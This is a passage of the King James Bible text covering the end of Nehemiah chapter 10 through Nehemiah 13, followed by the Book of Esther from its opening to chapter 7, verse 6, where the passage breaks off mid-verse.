the Levites: both Jeshua the son of Azaniah, Binnui of the +sons of Henadad, Kadmiel; 10:10 And their brethren, Shebaniah, +Hodijah, Kelita, Pelaiah, Hanan, 10:11 Micha, Rehob, Hashabiah, 10:12 +Zaccur, Sherebiah, Shebaniah, 10:13 Hodijah, Bani, Beninu. + +10:14 The chief of the people; Parosh, Pahathmoab, Elam, Zatthu, Bani, +10:15 Bunni, Azgad, Bebai, 10:16 Adonijah, Bigvai, Adin, 10:17 Ater, +Hizkijah, Azzur, 10:18 Hodijah, Hashum, Bezai, 10:19 Hariph, Anathoth, +Nebai, 10:20 Magpiash, Meshullam, Hezir, 10:21 Meshezabeel, Zadok, +Jaddua, 10:22 Pelatiah, Hanan, Anaiah, 10:23 Hoshea, Hananiah, Hashub, +10:24 Hallohesh, Pileha, Shobek, 10:25 Rehum, Hashabnah, Maaseiah, +10:26 And Ahijah, Hanan, Anan, 10:27 Malluch, Harim, Baanah. + +10:28 And the rest of the people, the priests, the Levites, the +porters, the singers, the Nethinims, and all they that had separated +themselves from the people of the lands unto the law of God, their +wives, their sons, and their daughters, every one having knowledge, +and having understanding; 10:29 They clave to their brethren, their +nobles, and entered into a curse, and into an oath, to walk in God's +law, which was given by Moses the servant of God, and to observe and +do all the commandments of the LORD our Lord, and his judgments and +his statutes; 10:30 And that we would not give our daughters unto the +people of the land, not take their daughters for our sons: 10:31 And +if the people of the land bring ware or any victuals on the sabbath +day to sell, that we would not buy it of them on the sabbath, or on +the holy day: and that we would leave the seventh year, and the +exaction of every debt. + +10:32 Also we made ordinances for us, to charge ourselves yearly with +the third part of a shekel for the service of the house of our God; +10:33 For the shewbread, and for the continual meat offering, and for +the continual burnt offering, of the sabbaths, of the new moons, for +the set feasts, and for the holy things, and for the sin offerings to +make an atonement for Israel, and for all the work of the house of our +God. + +10:34 And we cast the lots among the priests, the Levites, and the +people, for the wood offering, to bring it into the house of our God, +after the houses of our fathers, at times appointed year by year, to +burn upon the altar of the LORD our God, as it is written in the law: +10:35 And to bring the firstfruits of our ground, and the firstfruits +of all fruit of all trees, year by year, unto the house of the LORD: +10:36 Also the firstborn of our sons, and of our cattle, as it is +written in the law, and the firstlings of our herds and of our flocks, +to bring to the house of our God, unto the priests that minister in +the house of our God: 10:37 And that we should bring the firstfruits +of our dough, and our offerings, and the fruit of all manner of trees, +of wine and of oil, unto the priests, to the chambers of the house of +our God; and the tithes of our ground unto the Levites, that the same +Levites might have the tithes in all the cities of our tillage. + +10:38 And the priest the son of Aaron shall be with the Levites, when +the Levites take tithes: and the Levites shall bring up the tithe of +the tithes unto the house of our God, to the chambers, into the +treasure house. + +10:39 For the children of Israel and the children of Levi shall bring +the offering of the corn, of the new wine, and the oil, unto the +chambers, where are the vessels of the sanctuary, and the priests that +minister, and the porters, and the singers: and we will not forsake +the house of our God. + +11:1 And the rulers of the people dwelt at Jerusalem: the rest of the +people also cast lots, to bring one of ten to dwell in Jerusalem the +holy city, and nine parts to dwell in other cities. + +11:2 And the people blessed all the men, that willingly offered +themselves to dwell at Jerusalem. + +11:3 Now these are the chief of the province that dwelt in Jerusalem: +but in the cities of Judah dwelt every one in his possession in their +cities, to wit, Israel, the priests, and the Levites, and the +Nethinims, and the children of Solomon's servants. + +11:4 And at Jerusalem dwelt certain of the children of Judah, and of +the children of Benjamin. Of the children of Judah; Athaiah the son of +Uzziah, the son of Zechariah, the son of Amariah, the son of +Shephatiah, the son of Mahalaleel, of the children of Perez; 11:5 And +Maaseiah the son of Baruch, the son of Colhozeh, the son of Hazaiah, +the son of Adaiah, the son of Joiarib, the son of Zechariah, the son +of Shiloni. + +11:6 All the sons of Perez that dwelt at Jerusalem were four hundred +threescore and eight valiant men. + +11:7 And these are the sons of Benjamin; Sallu the son of Meshullam, +the son of Joed, the son of Pedaiah, the son of Kolaiah, the son of +Maaseiah, the son of Ithiel, the son of Jesaiah. + +11:8 And after him Gabbai, Sallai, nine hundred twenty and eight. + +11:9 And Joel the son of Zichri was their overseer: and Judah the son +of Senuah was second over the city. + +11:10 Of the priests: Jedaiah the son of Joiarib, Jachin. + +11:11 Seraiah the son of Hilkiah, the son of Meshullam, the son of +Zadok, the son of Meraioth, the son of Ahitub, was the ruler of the +house of God. + +11:12 And their brethren that did the work of the house were eight +hundred twenty and two: and Adaiah the son of Jeroham, the son of +Pelaliah, the son of Amzi, the son of Zechariah, the son of Pashur, +the son of Malchiah. + +11:13 And his brethren, chief of the fathers, two hundred forty and +two: and Amashai the son of Azareel, the son of Ahasai, the son of +Meshillemoth, the son of Immer, 11:14 And their brethren, mighty men +of valour, an hundred twenty and eight: and their overseer was +Zabdiel, the son of one of the great men. + +11:15 Also of the Levites: Shemaiah the son of Hashub, the son of +Azrikam, the son of Hashabiah, the son of Bunni; 11:16 And Shabbethai +and Jozabad, of the chief of the Levites, had the oversight of the +outward business of the house of God. + +11:17 And Mattaniah the son of Micha, the son of Zabdi, the son of +Asaph, was the principal to begin the thanksgiving in prayer: and +Bakbukiah the second among his brethren, and Abda the son of Shammua, +the son of Galal, the son of Jeduthun. + +11:18 All the Levites in the holy city were two hundred fourscore and +four. + +11:19 Moreover the porters, Akkub, Talmon, and their brethren that +kept the gates, were an hundred seventy and two. + +11:20 And the residue of Israel, of the priests, and the Levites, were +in all the cities of Judah, every one in his inheritance. + +11:21 But the Nethinims dwelt in Ophel: and Ziha and Gispa were over +the Nethinims. + +11:22 The overseer also of the Levites at Jerusalem was Uzzi the son +of Bani, the son of Hashabiah, the son of Mattaniah, the son of Micha. +Of the sons of Asaph, the singers were over the business of the house +of God. + +11:23 For it was the king's commandment concerning them, that a +certain portion should be for the singers, due for every day. + +11:24 And Pethahiah the son of Meshezabeel, of the children of Zerah +the son of Judah, was at the king's hand in all matters concerning the +people. + +11:25 And for the villages, with their fields, some of the children of +Judah dwelt at Kirjatharba, and in the villages thereof, and at Dibon, +and in the villages thereof, and at Jekabzeel, and in the villages +thereof, 11:26 And at Jeshua, and at Moladah, and at Bethphelet, 11:27 +And at Hazarshual, and at Beersheba, and in the villages thereof, +11:28 And at Ziklag, and at Mekonah, and in the villages thereof, +11:29 And at Enrimmon, and at Zareah, and at Jarmuth, 11:30 Zanoah, +Adullam, and in their villages, at Lachish, and the fields thereof, at +Azekah, and in the villages thereof. And they dwelt from Beersheba +unto the valley of Hinnom. + +11:31 The children also of Benjamin from Geba dwelt at Michmash, and +Aija, and Bethel, and in their villages. + +11:32 And at Anathoth, Nob, Ananiah, 11:33 Hazor, Ramah, Gittaim, +11:34 Hadid, Zeboim, Neballat, 11:35 Lod, and Ono, the valley of +craftsmen. + +11:36 And of the Levites were divisions in Judah, and in Benjamin. + +12:1 Now these are the priests and the Levites that went up with +Zerubbabel the son of Shealtiel, and Jeshua: Seraiah, Jeremiah, Ezra, +12:2 Amariah, Malluch, Hattush, 12:3 Shechaniah, Rehum, Meremoth, 12:4 +Iddo, Ginnetho, Abijah, 12:5 Miamin, Maadiah, Bilgah, 12:6 Shemaiah, +and Joiarib, Jedaiah, 12:7 Sallu, Amok, Hilkiah, Jedaiah. These were +the chief of the priests and of their brethren in the days of Jeshua. + +12:8 Moreover the Levites: Jeshua, Binnui, Kadmiel, Sherebiah, Judah, +and Mattaniah, which was over the thanksgiving, he and his brethren. + +12:9 Also Bakbukiah and Unni, their brethren, were over against them +in the watches. + +12:10 And Jeshua begat Joiakim, Joiakim also begat Eliashib, and +Eliashib begat Joiada, 12:11 And Joiada begat Jonathan, and Jonathan +begat Jaddua. + +12:12 And in the days of Joiakim were priests, the chief of the +fathers: of Seraiah, Meraiah; of Jeremiah, Hananiah; 12:13 Of Ezra, +Meshullam; of Amariah, Jehohanan; 12:14 Of Melicu, Jonathan; of +Shebaniah, Joseph; 12:15 Of Harim, Adna; of Meraioth, Helkai; 12:16 Of +Iddo, Zechariah; of Ginnethon, Meshullam; 12:17 Of Abijah, Zichri; of +Miniamin, of Moadiah, Piltai: 12:18 Of Bilgah, Shammua; of Shemaiah, +Jehonathan; 12:19 And of Joiarib, Mattenai; of Jedaiah, Uzzi; 12:20 Of +Sallai, Kallai; of Amok, Eber; 12:21 Of Hilkiah, Hashabiah; of +Jedaiah, Nethaneel. + +12:22 The Levites in the days of Eliashib, Joiada, and Johanan, and +Jaddua, were recorded chief of the fathers: also the priests, to the +reign of Darius the Persian. + +12:23 The sons of Levi, the chief of the fathers, were written in the +book of the chronicles, even until the days of Johanan the son of +Eliashib. + +12:24 And the chief of the Levites: Hashabiah, Sherebiah, and Jeshua +the son of Kadmiel, with their brethren over against them, to praise +and to give thanks, according to the commandment of David the man of +God, ward over against ward. + +12:25 Mattaniah, and Bakbukiah, Obadiah, Meshullam, Talmon, Akkub, +were porters keeping the ward at the thresholds of the gates. + +12:26 These were in the days of Joiakim the son of Jeshua, the son of +Jozadak, and in the days of Nehemiah the governor, and of Ezra the +priest, the scribe. + +12:27 And at the dedication of the wall of Jerusalem they sought the +Levites out of all their places, to bring them to Jerusalem, to keep +the dedication with gladness, both with thanksgivings, and with +singing, with cymbals, psalteries, and with harps. + +12:28 And the sons of the singers gathered themselves together, both +out of the plain country round about Jerusalem, and from the villages +of Netophathi; 12:29 Also from the house of Gilgal, and out of the +fields of Geba and Azmaveth: for the singers had builded them villages +round about Jerusalem. + +12:30 And the priests and the Levites purified themselves, and +purified the people, and the gates, and the wall. + +12:31 Then I brought up the princes of Judah upon the wall, and +appointed two great companies of them that gave thanks, whereof one +went on the right hand upon the wall toward the dung gate: 12:32 And +after them went Hoshaiah, and half of the princes of Judah, 12:33 And +Azariah, Ezra, and Meshullam, 12:34 Judah, and Benjamin, and Shemaiah, +and Jeremiah, 12:35 And certain of the priests' sons with trumpets; +namely, Zechariah the son of Jonathan, the son of Shemaiah, the son of +Mattaniah, the son of Michaiah, the son of Zaccur, the son of Asaph: +12:36 And his brethren, Shemaiah, and Azarael, Milalai, Gilalai, Maai, +Nethaneel, and Judah, Hanani, with the musical instruments of David +the man of God, and Ezra the scribe before them. + +12:37 And at the fountain gate, which was over against them, they went +up by the stairs of the city of David, at the going up of the wall, +above the house of David, even unto the water gate eastward. + +12:38 And the other company of them that gave thanks went over against +them, and I after them, and the half of the people upon the wall, from +beyond the tower of the furnaces even unto the broad wall; 12:39 And +from above the gate of Ephraim, and above the old gate, and above the +fish gate, and the tower of Hananeel, and the tower of Meah, even unto +the sheep gate: and they stood still in the prison gate. + +12:40 So stood the two companies of them that gave thanks in the house +of God, and I, and the half of the rulers with me: 12:41 And the +priests; Eliakim, Maaseiah, Miniamin, Michaiah, Elioenai, Zechariah, +and Hananiah, with trumpets; 12:42 And Maaseiah, and Shemaiah, and +Eleazar, and Uzzi, and Jehohanan, and Malchijah, and Elam, and Ezer. +And the singers sang loud, with Jezrahiah their overseer. + +12:43 Also that day they offered great sacrifices, and rejoiced: for +God had made them rejoice with great joy: the wives also and the +children rejoiced: so that the joy of Jerusalem was heard even afar +off. + +12:44 And at that time were some appointed over the chambers for the +treasures, for the offerings, for the firstfruits, and for the tithes, +to gather into them out of the fields of the cities the portions of +the law for the priests and Levites: for Judah rejoiced for the +priests and for the Levites that waited. + +12:45 And both the singers and the porters kept the ward of their God, +and the ward of the purification, according to the commandment of +David, and of Solomon his son. + +12:46 For in the days of David and Asaph of old there were chief of +the singers, and songs of praise and thanksgiving unto God. + +12:47 And all Israel in the days of Zerubbabel, and in the days of +Nehemiah, gave the portions of the singers and the porters, every day +his portion: and they sanctified holy things unto the Levites; and the +Levites sanctified them unto the children of Aaron. + +13:1 On that day they read in the book of Moses in the audience of the +people; and therein was found written, that the Ammonite and the +Moabite should not come into the congregation of God for ever; 13:2 +Because they met not the children of Israel with bread and with water, +but hired Balaam against them, that he should curse them: howbeit our +God turned the curse into a blessing. + +13:3 Now it came to pass, when they had heard the law, that they +separated from Israel all the mixed multitude. + +13:4 And before this, Eliashib the priest, having the oversight of the +chamber of the house of our God, was allied unto Tobiah: 13:5 And he +had prepared for him a great chamber, where aforetime they laid the +meat offerings, the frankincense, and the vessels, and the tithes of +the corn, the new wine, and the oil, which was commanded to be given +to the Levites, and the singers, and the porters; and the offerings of +the priests. + +13:6 But in all this time was not I at Jerusalem: for in the two and +thirtieth year of Artaxerxes king of Babylon came I unto the king, and +after certain days obtained I leave of the king: 13:7 And I came to +Jerusalem, and understood of the evil that Eliashib did for Tobiah, in +preparing him a chamber in the courts of the house of God. + +13:8 And it grieved me sore: therefore I cast forth all the household +stuff to Tobiah out of the chamber. + +13:9 Then I commanded, and they cleansed the chambers: and thither +brought I again the vessels of the house of God, with the meat +offering and the frankincense. + +13:10 And I perceived that the portions of the Levites had not been +given them: for the Levites and the singers, that did the work, were +fled every one to his field. + +13:11 Then contended I with the rulers, and said, Why is the house of +God forsaken? And I gathered them together, and set them in their +place. + +13:12 Then brought all Judah the tithe of the corn and the new wine +and the oil unto the treasuries. + +13:13 And I made treasurers over the treasuries, Shelemiah the priest, +and Zadok the scribe, and of the Levites, Pedaiah: and next to them +was Hanan the son of Zaccur, the son of Mattaniah: for they were +counted faithful, and their office was to distribute unto their +brethren. + +13:14 Remember me, O my God, concerning this, and wipe not out my good +deeds that I have done for the house of my God, and for the offices +thereof. + +13:15 In those days saw I in Judah some treading wine presses on the +sabbath, and bringing in sheaves, and lading asses; as also wine, +grapes, and figs, and all manner of burdens, which they brought into +Jerusalem on the sabbath day: and I testified against them in the day +wherein they sold victuals. + +13:16 There dwelt men of Tyre also therein, which brought fish, and +all manner of ware, and sold on the sabbath unto the children of +Judah, and in Jerusalem. + +13:17 Then I contended with the nobles of Judah, and said unto them, +What evil thing is this that ye do, and profane the sabbath day? +13:18 Did not your fathers thus, and did not our God bring all this +evil upon us, and upon this city? yet ye bring more wrath upon Israel +by profaning the sabbath. + +13:19 And it came to pass, that when the gates of Jerusalem began to +be dark before the sabbath, I commanded that the gates should be shut, +and charged that they should not be opened till after the sabbath: and +some of my servants set I at the gates, that there should no burden be +brought in on the sabbath day. + +13:20 So the merchants and sellers of all kind of ware lodged without +Jerusalem once or twice. + +13:21 Then I testified against them, and said unto them, Why lodge ye +about the wall? if ye do so again, I will lay hands on you. From that +time forth came they no more on the sabbath. + +13:22 And I commanded the Levites that they should cleanse themselves, +and that they should come and keep the gates, to sanctify the sabbath +day. + +Remember me, O my God, concerning this also, and spare me according to +the greatness of thy mercy. + +13:23 In those days also saw I Jews that had married wives of Ashdod, +of Ammon, and of Moab: 13:24 And their children spake half in the +speech of Ashdod, and could not speak in the Jews' language, but +according to the language of each people. + +13:25 And I contended with them, and cursed them, and smote certain of +them, and plucked off their hair, and made them swear by God, saying, +Ye shall not give your daughters unto their sons, nor take their +daughters unto your sons, or for yourselves. + +13:26 Did not Solomon king of Israel sin by these things? yet among +many nations was there no king like him, who was beloved of his God, +and God made him king over all Israel: nevertheless even him did +outlandish women cause to sin. + +13:27 Shall we then hearken unto you to do all this great evil, to +transgress against our God in marrying strange wives? 13:28 And one +of the sons of Joiada, the son of Eliashib the high priest, was son in +law to Sanballat the Horonite: therefore I chased him from me. + +13:29 Remember them, O my God, because they have defiled the +priesthood, and the covenant of the priesthood, and of the Levites. + +13:30 Thus cleansed I them from all strangers, and appointed the wards +of the priests and the Levites, every one in his business; 13:31 And +for the wood offering, at times appointed, and for the firstfruits. +Remember me, O my God, for good. + + + + +The Book of Esther + + +1:1 Now it came to pass in the days of Ahasuerus, (this is Ahasuerus +which reigned, from India even unto Ethiopia, over an hundred and +seven and twenty provinces:) 1:2 That in those days, when the king +Ahasuerus sat on the throne of his kingdom, which was in Shushan the +palace, 1:3 In the third year of his reign, he made a feast unto all +his princes and his servants; the power of Persia and Media, the +nobles and princes of the provinces, being before him: 1:4 When he +shewed the riches of his glorious kingdom and the honour of his +excellent majesty many days, even an hundred and fourscore days. + +1:5 And when these days were expired, the king made a feast unto all +the people that were present in Shushan the palace, both unto great +and small, seven days, in the court of the garden of the king's +palace; 1:6 Where were white, green, and blue, hangings, fastened with +cords of fine linen and purple to silver rings and pillars of marble: +the beds were of gold and silver, upon a pavement of red, and blue, +and white, and black, marble. + +1:7 And they gave them drink in vessels of gold, (the vessels being +diverse one from another,) and royal wine in abundance, according to +the state of the king. + +1:8 And the drinking was according to the law; none did compel: for so +the king had appointed to all the officers of his house, that they +should do according to every man's pleasure. + +1:9 Also Vashti the queen made a feast for the women in the royal +house which belonged to king Ahasuerus. + +1:10 On the seventh day, when the heart of the king was merry with +wine, he commanded Mehuman, Biztha, Harbona, Bigtha, and Abagtha, +Zethar, and Carcas, the seven chamberlains that served in the presence +of Ahasuerus the king, 1:11 To bring Vashti the queen before the king +with the crown royal, to shew the people and the princes her beauty: +for she was fair to look on. + +1:12 But the queen Vashti refused to come at the king's commandment by +his chamberlains: therefore was the king very wroth, and his anger +burned in him. + +1:13 Then the king said to the wise men, which knew the times, (for so +was the king's manner toward all that knew law and judgment: 1:14 And +the next unto him was Carshena, Shethar, Admatha, Tarshish, Meres, +Marsena, and Memucan, the seven princes of Persia and Media, which saw +the king's face, and which sat the first in the kingdom;) 1:15 What +shall we do unto the queen Vashti according to law, because she hath +not performed the commandment of the king Ahasuerus by the +chamberlains? 1:16 And Memucan answered before the king and the +princes, Vashti the queen hath not done wrong to the king only, but +also to all the princes, and to all the people that are in all the +provinces of the king Ahasuerus. + +1:17 For this deed of the queen shall come abroad unto all women, so +that they shall despise their husbands in their eyes, when it shall be +reported, The king Ahasuerus commanded Vashti the queen to be brought +in before him, but she came not. + +1:18 Likewise shall the ladies of Persia and Media say this day unto +all the king's princes, which have heard of the deed of the queen. +Thus shall there arise too much contempt and wrath. + +1:19 If it please the king, let there go a royal commandment from him, +and let it be written among the laws of the Persians and the Medes, +that it be not altered, That Vashti come no more before king +Ahasuerus; and let the king give her royal estate unto another that is +better than she. + +1:20 And when the king's decree which he shall make shall be published +throughout all his empire, (for it is great,) all the wives shall give +to their husbands honour, both to great and small. + +1:21 And the saying pleased the king and the princes; and the king did +according to the word of Memucan: 1:22 For he sent letters into all +the king's provinces, into every province according to the writing +thereof, and to every people after their language, that every man +should bear rule in his own house, and that it should be published +according to the language of every people. + +2:1 After these things, when the wrath of king Ahasuerus was appeased, +he remembered Vashti, and what she had done, and what was decreed +against her. + +2:2 Then said the king's servants that ministered unto him, Let there +be fair young virgins sought for the king: 2:3 And let the king +appoint officers in all the provinces of his kingdom, that they may +gather together all the fair young virgins unto Shushan the palace, to +the house of the women, unto the custody of Hege the king's +chamberlain, keeper of the women; and let their things for +purification be given them: 2:4 And let the maiden which pleaseth the +king be queen instead of Vashti. + +And the thing pleased the king; and he did so. + +2:5 Now in Shushan the palace there was a certain Jew, whose name was +Mordecai, the son of Jair, the son of Shimei, the son of Kish, a +Benjamite; 2:6 Who had been carried away from Jerusalem with the +captivity which had been carried away with Jeconiah king of Judah, +whom Nebuchadnezzar the king of Babylon had carried away. + +2:7 And he brought up Hadassah, that is, Esther, his uncle's daughter: +for she had neither father nor mother, and the maid was fair and +beautiful; whom Mordecai, when her father and mother were dead, took +for his own daughter. + +2:8 So it came to pass, when the king's commandment and his decree was +heard, and when many maidens were gathered together unto Shushan the +palace, to the custody of Hegai, that Esther was brought also unto the +king's house, to the custody of Hegai, keeper of the women. + +2:9 And the maiden pleased him, and she obtained kindness of him; and +he speedily gave her her things for purification, with such things as +belonged to her, and seven maidens, which were meet to be given her, +out of the king's house: and he preferred her and her maids unto the +best place of the house of the women. + +2:10 Esther had not shewed her people nor her kindred: for Mordecai +had charged her that she should not shew it. + +2:11 And Mordecai walked every day before the court of the women's +house, to know how Esther did, and what should become of her. + +2:12 Now when every maid's turn was come to go in to king Ahasuerus, +after that she had been twelve months, according to the manner of the +women, (for so were the days of their purifications accomplished, to +wit, six months with oil of myrrh, and six months with sweet odours, +and with other things for the purifying of the women;) 2:13 Then thus +came every maiden unto the king; whatsoever she desired was given her +to go with her out of the house of the women unto the king's house. + +2:14 In the evening she went, and on the morrow she returned into the +second house of the women, to the custody of Shaashgaz, the king's +chamberlain, which kept the concubines: she came in unto the king no +more, except the king delighted in her, and that she were called by +name. + +2:15 Now when the turn of Esther, the daughter of Abihail the uncle of +Mordecai, who had taken her for his daughter, was come to go in unto +the king, she required nothing but what Hegai the king's chamberlain, +the keeper of the women, appointed. And Esther obtained favour in the +sight of all them that looked upon her. + +2:16 So Esther was taken unto king Ahasuerus into his house royal in +the tenth month, which is the month Tebeth, in the seventh year of his +reign. + +2:17 And the king loved Esther above all the women, and she obtained +grace and favour in his sight more than all the virgins; so that he +set the royal crown upon her head, and made her queen instead of +Vashti. + +2:18 Then the king made a great feast unto all his princes and his +servants, even Esther's feast; and he made a release to the provinces, +and gave gifts, according to the state of the king. + +2:19 And when the virgins were gathered together the second time, then +Mordecai sat in the king's gate. + +2:20 Esther had not yet shewed her kindred nor her people; as Mordecai +had charged her: for Esther did the commandment of Mordecai, like as +when she was brought up with him. + +2:21 In those days, while Mordecai sat in the king's gate, two of the +king's chamberlains, Bigthan and Teresh, of those which kept the door, +were wroth, and sought to lay hands on the king Ahasuerus. + +2:22 And the thing was known to Mordecai, who told it unto Esther the +queen; and Esther certified the king thereof in Mordecai's name. + +2:23 And when inquisition was made of the matter, it was found out; +therefore they were both hanged on a tree: and it was written in the +book of the chronicles before the king. + +3:1 After these things did king Ahasuerus promote Haman the son of +Hammedatha the Agagite, and advanced him, and set his seat above all +the princes that were with him. + +3:2 And all the king's servants, that were in the king's gate, bowed, +and reverenced Haman: for the king had so commanded concerning him. +But Mordecai bowed not, nor did him reverence. + +3:3 Then the king's servants, which were in the king's gate, said unto +Mordecai, Why transgressest thou the king's commandment? 3:4 Now it +came to pass, when they spake daily unto him, and he hearkened not +unto them, that they told Haman, to see whether Mordecai's matters +would stand: for he had told them that he was a Jew. + +3:5 And when Haman saw that Mordecai bowed not, nor did him reverence, +then was Haman full of wrath. + +3:6 And he thought scorn to lay hands on Mordecai alone; for they had +shewed him the people of Mordecai: wherefore Haman sought to destroy +all the Jews that were throughout the whole kingdom of Ahasuerus, even +the people of Mordecai. + +3:7 In the first month, that is, the month Nisan, in the twelfth year +of king Ahasuerus, they cast Pur, that is, the lot, before Haman from +day to day, and from month to month, to the twelfth month, that is, +the month Adar. + +3:8 And Haman said unto king Ahasuerus, There is a certain people +scattered abroad and dispersed among the people in all the provinces +of thy kingdom; and their laws are diverse from all people; neither +keep they the king's laws: therefore it is not for the king's profit +to suffer them. + +3:9 If it please the king, let it be written that they may be +destroyed: and I will pay ten thousand talents of silver to the hands +of those that have the charge of the business, to bring it into the +king's treasuries. + +3:10 And the king took his ring from his hand, and gave it unto Haman +the son of Hammedatha the Agagite, the Jews' enemy. + +3:11 And the king said unto Haman, The silver is given to thee, the +people also, to do with them as it seemeth good to thee. + +3:12 Then were the king's scribes called on the thirteenth day of the +first month, and there was written according to all that Haman had +commanded unto the king's lieutenants, and to the governors that were +over every province, and to the rulers of every people of every +province according to the writing thereof, and to every people after +their language; in the name of king Ahasuerus was it written, and +sealed with the king's ring. + +3:13 And the letters were sent by posts into all the king's provinces, +to destroy, to kill, and to cause to perish, all Jews, both young and +old, little children and women, in one day, even upon the thirteenth +day of the twelfth month, which is the month Adar, and to take the +spoil of them for a prey. + +3:14 The copy of the writing for a commandment to be given in every +province was published unto all people, that they should be ready +against that day. + +3:15 The posts went out, being hastened by the king's commandment, and +the decree was given in Shushan the palace. And the king and Haman sat +down to drink; but the city Shushan was perplexed. + +4:1 When Mordecai perceived all that was done, Mordecai rent his +clothes, and put on sackcloth with ashes, and went out into the midst +of the city, and cried with a loud and a bitter cry; 4:2 And came even +before the king's gate: for none might enter into the king's gate +clothed with sackcloth. + +4:3 And in every province, whithersoever the king's commandment and +his decree came, there was great mourning among the Jews, and fasting, +and weeping, and wailing; and many lay in sackcloth and ashes. + +4:4 So Esther's maids and her chamberlains came and told it her. Then +was the queen exceedingly grieved; and she sent raiment to clothe +Mordecai, and to take away his sackcloth from him: but he received it +not. + +4:5 Then called Esther for Hatach, one of the king's chamberlains, +whom he had appointed to attend upon her, and gave him a commandment +to Mordecai, to know what it was, and why it was. + +4:6 So Hatach went forth to Mordecai unto the street of the city, +which was before the king's gate. + +4:7 And Mordecai told him of all that had happened unto him, and of +the sum of the money that Haman had promised to pay to the king's +treasuries for the Jews, to destroy them. + +4:8 Also he gave him the copy of the writing of the decree that was +given at Shushan to destroy them, to shew it unto Esther, and to +declare it unto her, and to charge her that she should go in unto the +king, to make supplication unto him, and to make request before him +for her people. + +4:9 And Hatach came and told Esther the words of Mordecai. + +4:10 Again Esther spake unto Hatach, and gave him commandment unto +Mordecai; 4:11 All the king's servants, and the people of the king's +provinces, do know, that whosoever, whether man or women, shall come +unto the king into the inner court, who is not called, there is one +law of his to put him to death, except such to whom the king shall +hold out the golden sceptre, that he may live: but I have not been +called to come in unto the king these thirty days. + +4:12 And they told to Mordecai Esther's words. + +4:13 Then Mordecai commanded to answer Esther, Think not with thyself +that thou shalt escape in the king's house, more than all the Jews. + +4:14 For if thou altogether holdest thy peace at this time, then shall +there enlargement and deliverance arise to the Jews from another +place; but thou and thy father's house shall be destroyed: and who +knoweth whether thou art come to the kingdom for such a time as this? +4:15 Then Esther bade them return Mordecai this answer, 4:16 Go, +gather together all the Jews that are present in Shushan, and fast ye +for me, and neither eat nor drink three days, night or day: I also and +my maidens will fast likewise; and so will I go in unto the king, +which is not according to the law: and if I perish, I perish. + +4:17 So Mordecai went his way, and did according to all that Esther +had commanded him. + +5:1 Now it came to pass on the third day, that Esther put on her royal +apparel, and stood in the inner court of the king's house, over +against the king's house: and the king sat upon his royal throne in +the royal house, over against the gate of the house. + +5:2 And it was so, when the king saw Esther the queen standing in the +court, that she obtained favour in his sight: and the king held out to +Esther the golden sceptre that was in his hand. So Esther drew near, +and touched the top of the sceptre. + +5:3 Then said the king unto her, What wilt thou, queen Esther? and +what is thy request? it shall be even given thee to the half of the +kingdom. + +5:4 And Esther answered, If it seem good unto the king, let the king +and Haman come this day unto the banquet that I have prepared for him. + +5:5 Then the king said, Cause Haman to make haste, that he may do as +Esther hath said. So the king and Haman came to the banquet that +Esther had prepared. + +5:6 And the king said unto Esther at the banquet of wine, What is thy +petition? and it shall be granted thee: and what is thy request? even +to the half of the kingdom it shall be performed. + +5:7 Then answered Esther, and said, My petition and my request is; 5:8 +If I have found favour in the sight of the king, and if it please the +king to grant my petition, and to perform my request, let the king and +Haman come to the banquet that I shall prepare for them, and I will do +to morrow as the king hath said. + +5:9 Then went Haman forth that day joyful and with a glad heart: but +when Haman saw Mordecai in the king's gate, that he stood not up, nor +moved for him, he was full of indignation against Mordecai. + +5:10 Nevertheless Haman refrained himself: and when he came home, he +sent and called for his friends, and Zeresh his wife. + +5:11 And Haman told them of the glory of his riches, and the multitude +of his children, and all the things wherein the king had promoted him, +and how he had advanced him above the princes and servants of the +king. + +5:12 Haman said moreover, Yea, Esther the queen did let no man come in +with the king unto the banquet that she had prepared but myself; and +to morrow am I invited unto her also with the king. + +5:13 Yet all this availeth me nothing, so long as I see Mordecai the +Jew sitting at the king's gate. + +5:14 Then said Zeresh his wife and all his friends unto him, Let a +gallows be made of fifty cubits high, and to morrow speak thou unto +the king that Mordecai may be hanged thereon: then go thou in merrily +with the king unto the banquet. And the thing pleased Haman; and he +caused the gallows to be made. + +6:1 On that night could not the king sleep, and he commanded to bring +the book of records of the chronicles; and they were read before the +king. + +6:2 And it was found written, that Mordecai had told of Bigthana and +Teresh, two of the king's chamberlains, the keepers of the door, who +sought to lay hand on the king Ahasuerus. + +6:3 And the king said, What honour and dignity hath been done to +Mordecai for this? Then said the king's servants that ministered unto +him, There is nothing done for him. + +6:4 And the king said, Who is in the court? Now Haman was come into +the outward court of the king's house, to speak unto the king to hang +Mordecai on the gallows that he had prepared for him. + +6:5 And the king's servants said unto him, Behold, Haman standeth in +the court. And the king said, Let him come in. + +6:6 So Haman came in. And the king said unto him, What shall be done +unto the man whom the king delighteth to honour? Now Haman thought in +his heart, To whom would the king delight to do honour more than to +myself? 6:7 And Haman answered the king, For the man whom the king +delighteth to honour, 6:8 Let the royal apparel be brought which the +king useth to wear, and the horse that the king rideth upon, and the +crown royal which is set upon his head: 6:9 And let this apparel and +horse be delivered to the hand of one of the king's most noble +princes, that they may array the man withal whom the king delighteth +to honour, and bring him on horseback through the street of the city, +and proclaim before him, Thus shall it be done to the man whom the +king delighteth to honour. + +6:10 Then the king said to Haman, Make haste, and take the apparel and +the horse, as thou hast said, and do even so to Mordecai the Jew, that +sitteth at the king's gate: let nothing fail of all that thou hast +spoken. + +6:11 Then took Haman the apparel and the horse, and arrayed Mordecai, +and brought him on horseback through the street of the city, and +proclaimed before him, Thus shall it be done unto the man whom the +king delighteth to honour. + +6:12 And Mordecai came again to the king's gate. But Haman hasted to +his house mourning, and having his head covered. + +6:13 And Haman told Zeresh his wife and all his friends every thing +that had befallen him. Then said his wise men and Zeresh his wife unto +him, If Mordecai be of the seed of the Jews, before whom thou hast +begun to fall, thou shalt not prevail against him, but shalt surely +fall before him. + +6:14 And while they were yet talking with him, came the king's +chamberlains, and hasted to bring Haman unto the banquet that Esther +had prepared. + +7:1 So the king and Haman came to banquet with Esther the queen. + +7:2 And the king said again unto Esther on the second day at the +banquet of wine, What is thy petition, queen Esther? and it shall be +granted thee: and what is thy request? and it shall be performed, even +to the half of the kingdom. + +7:3 Then Esther the queen answered and said, If I have found favour in +thy sight, O king, and if it please the king, let my life be given me +at my petition, and my people at my request: 7:4 For we are sold, I +and my people, to be destroyed, to be slain, and to perish. But if we +had been sold for bondmen and bondwomen, I had held my tongue, +although the enemy could not countervail the king's damage. + +7:5 Then the king Ahasuerus answered and said unto Esther the queen, +Who is he, and where is he, that durst presume in his heart to do so? +7:6 And 